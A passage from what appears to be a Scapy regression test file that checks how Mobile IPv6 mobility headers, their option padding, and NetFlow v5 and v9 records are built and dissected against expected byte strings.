==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0e\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0e\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0e\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0e\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0e\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0e\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0e\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0e\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0e\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCareOfTestInit = Mobility Options - Automatic Padding - MIP6OptCareOfTestInit a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0f\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0f\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0f\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0f\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0f\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0f\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0f\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0f\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Mobility Options - Automatic Padding - MIP6OptCareOfTest = Mobility Options - Automatic Padding - MIP6OptCareOfTest a = raw(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = raw(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00' d = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = raw(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j ############ ############ + Binding Refresh Request Message = MIP6MH_BRR - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR()) == b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00' = MIP6MH_BRR - Build with specific values raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_BRR(nh=0xff, res=0xee, res2=0xaaaa, options=[MIP6OptLLAddr(), MIP6OptAltCoA()])) == b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_BRR - Basic dissection a=IPv6(b'`\x00\x00\x00\x00\x08\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x00\x00\x00h\xfb\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 59 and b.len == 0 and b.mhtype == 0 and b.res == 0 and b.cksum == 0x68fb and b.res2 == 0 and b.options == [] = MIP6MH_BRR - Dissection with specific values a=IPv6(b'`\x00\x00\x00\x00(\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xff\x04\x00\xee\xec$\xaa\xaa\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_BRR) and b.nh == 0xff and b.len == 4 and b.mhtype == 0 and b.res == 238 and b.cksum == 0xec24 and b.res2 == 43690 and len(b.options) == 3 and isinstance(b.options[0], MIP6OptLLAddr) and isinstance(b.options[1], PadN) and isinstance(b.options[2], MIP6OptAltCoA) = MIP6MH_BRR / MIP6MH_BU / MIP6MH_BA hashret() and answers() hoa="2001:db8:9999::1" coa="2001:db8:7777::1" cn="2001:db8:8888::1" ha="2001db8:6666::1" a=IPv6(raw(IPv6(src=cn, dst=hoa)/MIP6MH_BRR())) b=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=0x01))) b2=IPv6(raw(IPv6(src=coa, dst=cn)/IPv6ExtHdrDestOpt(options=HAO(hoa=hoa))/MIP6MH_BU(flags=~0x01))) c=IPv6(raw(IPv6(src=cn, dst=coa)/IPv6ExtHdrRouting(type=2, addresses=[hoa])/MIP6MH_BA())) b.answers(a) and not a.answers(b) and c.answers(b) and not b.answers(c) and not c.answers(b2) len(b[IPv6ExtHdrDestOpt].options) == 2 ############ ############ + Home Test Init Message = MIP6MH_HoTI - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoTI - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01\x00g\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len== 1 and b.res == 0 and b.cksum == 0x67f2 and b.cookie == b'\x00'*8 = MIP6MH_HoTI - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_HoTI - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x01w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_HoTI) and b.nh==59 and b.mhtype == 1 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8 ############ ############ + Care-of Test Init Message = MIP6MH_CoTI - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI()) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoTI - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02\x00f\xf2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len== 1 and b.res == 0 and b.cksum == 0x66f2 and b.cookie == b'\x00'*8 = MIP6MH_CoTI - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoTI(res=0x77, cksum=0x8899, cookie=b"\xAA"*8)) == b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' = MIP6MH_CoTI - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x10\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x01\x02w\x88\x99\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa') b=a.payload a.nh == 135 and isinstance(b, MIP6MH_CoTI) and b.nh==59 and b.mhtype == 2 and b.len == 1 and b.res == 0x77 and b.cksum == 0x8899 and b.cookie == b'\xAA'*8 ############ ############ + Home Test Message = MIP6MH_HoT - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_HoT - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03\x00e\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0 and b.cksum == 0x65e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8 = MIP6MH_HoT - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_HoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_HoT - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x03w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 3 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8 = MIP6MH_HoT answers a1, a2 = "2001:db8::1", "2001:db8::2" cookie = RandString(8)._fix() p1 = IPv6(src=a1, dst=a2)/MIP6MH_HoTI(cookie=cookie) p2 = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie=cookie) p2_ko = IPv6(src=a2, dst=a1)/MIP6MH_HoT(cookie="".join(chr((orb(b'\xff') + 1) % 256))) assert p1.hashret() == p2.hashret() and p2.answers(p1) and not p1.answers(p2) assert p1.hashret() != p2_ko.hashret() and not p2_ko.answers(p1) and not p1.answers(p2_ko) ############ ############ + Care-of Test Message = MIP6MH_CoT - Build (default values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT()) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = MIP6MH_CoT - Dissection (default values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04\x00d\xe9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_HoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0 and b.cksum == 0x64e9 and b.index == 0 and b.cookie == b'\x00'*8 and b.token == b'\x00'*8 = MIP6MH_CoT - Build (specific values) raw(IPv6(src="2001:db8::1", dst="2001:db8::2")/MIP6MH_CoT(res=0x77, cksum=0x8899, cookie=b"\xAA"*8, index=0xAABB, token=b'\xCC'*8)) == b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc' = MIP6MH_CoT - Dissection (specific values) a=IPv6(b'`\x00\x00\x00\x00\x18\x87@ \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02;\x02\x04w\x88\x99\xaa\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc') b = a.payload a.nh == 135 and isinstance(b, MIP6MH_CoT) and b.nh==59 and b.mhtype == 4 and b.len== 2 and b.res == 0x77 and b.cksum == 0x8899 and b.index == 0xAABB and b.cookie == b'\xAA'*8 and b.token == b'\xCC'*8 ############ ############ + Binding Update Message = MIP6MH_BU - build (default values) s= b'`\x00\x00\x00\x00(<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x01\x05\x00\xee`\x00\x00\xd0\x00\x00\x03\x01\x02\x00\x00' raw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO()])/MIP6MH_BU()) == s = MIP6MH_BU - dissection (default values) p = IPv6(s) p[MIP6MH_BU].len == 1 = MIP6MH_BU - build s = b'`\x00\x00\x00\x00P<@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x02\x01\x02\x00\x00\xc9\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe;\x06\x05\x00\xea\xf2\x00\x00\xd0\x00\x00*\x01\x00\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(IPv6()/IPv6ExtHdrDestOpt(options=[HAO(hoa='2001:db8::cafe')])/MIP6MH_BU(mhtime=42, options=[MIP6OptAltCoA(),MIP6OptMobNetPrefix()])) == s = MIP6MH_BU - dissection p = IPv6(s) p[MIP6MH_BU].cksum == 0xeaf2 and p[MIP6MH_BU].len == 6 and len(p[MIP6MH_BU].options) == 4 and p[MIP6MH_BU].mhtime == 42 ############ ############ + Binding ACK Message = MIP6MH_BA - build s = b'`\x00\x00\x00\x00\x10\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x01\x06\x00\xbc\xb9\x00\x80\x00\x00\x00*\x01\x02\x00\x00' raw(IPv6()/MIP6MH_BA(mhtime=42)) == s = MIP6MH_BA - dissection p = IPv6(s) p[MIP6MH_BA].cksum == 0xbcb9 and p[MIP6MH_BA].len == 1 and len(p[MIP6MH_BA].options) == 1 and p[MIP6MH_BA].mhtime == 42 ############ ############ + Binding ERR Message = MIP6MH_BE - build s = b'`\x00\x00\x00\x00\x18\x87@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01;\x02\x07\x00\xbbY\x02\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' raw(IPv6()/MIP6MH_BE(status=2, ha='1::2')) == s = MIP6MH_BE - dissection p = IPv6(s) p[MIP6MH_BE].cksum=0xba10 and p[MIP6MH_BE].len == 1 and len(p[MIP6MH_BE].options) == 1 ############ ############ + Netflow v5 ~ netflow = NetflowHeaderV5 - basic building raw(NetflowHeader()/NetflowHeaderV5()) == b'\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(NetflowHeaderV5(engineID=42)) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\x00\x00' raw(NetflowRecordV5(dst="192.168.0.1")) == b'\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(NetflowHeader()/NetflowHeaderV5(count=1)/NetflowRecordV5(dst="192.168.0.1")) == b'\x00\x05\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' raw(NetflowHeader()/NetflowHeaderV5()/NetflowRecordV5(dst="192.168.0.1")/NetflowRecordV5(dst="172.16.0.1")) == b'\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xc0\xa8\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\xac\x10\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' = NetflowHeaderV5 - UDP bindings s = raw(IP(src="127.0.0.1")/UDP()/NetflowHeader()/NetflowHeaderV5()) assert s == b'E\x00\x004\x00\x01\x00\x00@\x11|\xb6\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x07\x08\x07\x00 \xf1\x98\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = IP(s) assert NetflowHeaderV5 in pkt = NetflowHeaderV5 - basic dissection nf5 = NetflowHeader(b'\x00\x05\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00') nf5.version == 5 and nf5[NetflowHeaderV5].count == 2 and isinstance(nf5[NetflowRecordV5].payload, NetflowRecordV5) ############ ############ + Netflow v9 ~ netflow = NetflowV9 - advanced dissection import os tmp = "/test/pcaps/netflowv9.pcap" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename a = rdpcap(filename) a = netflowv9_defragment(a) nfv9_fl = a[0] assert NetflowFlowsetV9 in nfv9_fl assert len(nfv9_fl.templates[0].template_fields) == 21 assert nfv9_fl.templates[0].template_fields[1].fieldType == 12 nfv9_ds = a[3] assert NetflowDataflowsetV9 in nfv9_ds assert len(nfv9_ds[NetflowDataflowsetV9].records) == 24 assert nfv9_ds[NetflowDataflowsetV9].records[21].IP_PROTOCOL_VERSION == 4 assert nfv9_ds.records[21].IPV4_SRC_ADDR == '20.0.0.248' assert nfv9_ds.records[21].IPV4_DST_ADDR == '30.0.0.248' nfv9_options_fl = a[1] assert NetflowOptionsFlowsetV9 in nfv9_options_fl assert isinstance(nfv9_options_fl[NetflowOptionsFlowsetV9].scopes[0], NetflowOptionsFlowsetScopeV9) assert isinstance(nfv9_options_fl[NetflowOptionsFlowsetV9].options[0], NetflowOptionsFlowsetOptionV9) assert nfv9_options_fl[NetflowOptionsFlowsetV9].options[0].optionFieldType == 36 nfv9_options_ds = a[4] assert NetflowDataflowsetV9 in nfv9_options_ds assert isinstance(nfv9_options_ds.records[0], NetflowOptionsRecordScopeV9) assert nfv9_options_ds.records[0].IN_BYTES == b'\x01\x00\x00\x00' assert nfv9_options_ds.records[1].SAMPLING_INTERVAL == 12 assert nfv9_options_ds.records[1].SAMPLING_ALGORITHM == 0x2 = NetflowV9 - Multiple FlowSets in one packet nfv9_multiple_flowsets = NetflowHeader(b'\x00\t\x00\x03\x00\x00K [F\x17\x97\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00H\x04\x00\x00\x10\x00\x08\x00\x04\x00\x0c\x00\x04\x00\x15\x00\x04\x00\x16\x00\x04\x00\x01\x00\x08\x00\x02\x00\x08\x00\n\x00\x04\x00\x0e\x00\x04\x00\x07\x00\x02\x00\x0b\x00\x02\x00\x04\x00\x01\x00\x06\x00\x01\x00<\x00\x01\x00\x05\x00\x01\x00 \x00\x02\x00:\x00\x02\x00\x00\x00L\x08\x00\x00\x11\x00\x1b\x00\x10\x00\x1c\x00\x10\x00\x1f\x00\x04\x00\x15\x00\x04\x00\x16\x00\x04\x00\x01\x00\x08\x00\x02\x00\x08\x00\n\x00\x04\x00\x0e\x00\x04\x00\x07\x00\x02\x00\x0b\x00\x02\x00\x04\x00\x01\x00\x06\x00\x01\x00<\x00\x01\x00\x05\x00\x01\x00 